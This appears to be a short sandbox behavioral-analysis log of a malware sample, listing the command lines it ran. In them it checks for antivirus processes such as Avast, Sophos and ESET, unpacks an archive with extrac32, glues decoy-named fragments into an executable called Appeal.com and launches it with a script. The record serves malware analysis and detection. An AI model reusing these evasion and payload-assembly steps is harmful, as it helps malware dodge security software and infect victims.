Behavioral Analysis

findstr.exe findstr /I "opssvc wrsa"

tasklist.exe tasklist

tasklist.exe tasklist

findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"

cmd.exe cmd /c md 567757

extrac32.exe extrac32 /Y /E Activation

findstr.exe findstr /V "VIETNAM" Diagnostic

cmd.exe cmd /c copy /b 567757\Appeal.com + Entirely + Thumbnails + Atmospheric + Eternal + Quite + Strictly + Mongolia + Card + Decent 567757\Appeal.com

cmd.exe cmd /c copy /b ..\Tuner + ..\Rest + ..\Reservation + ..\Twiki j

Appeal.com Appeal.com j

choice.exe choice /d y /t 5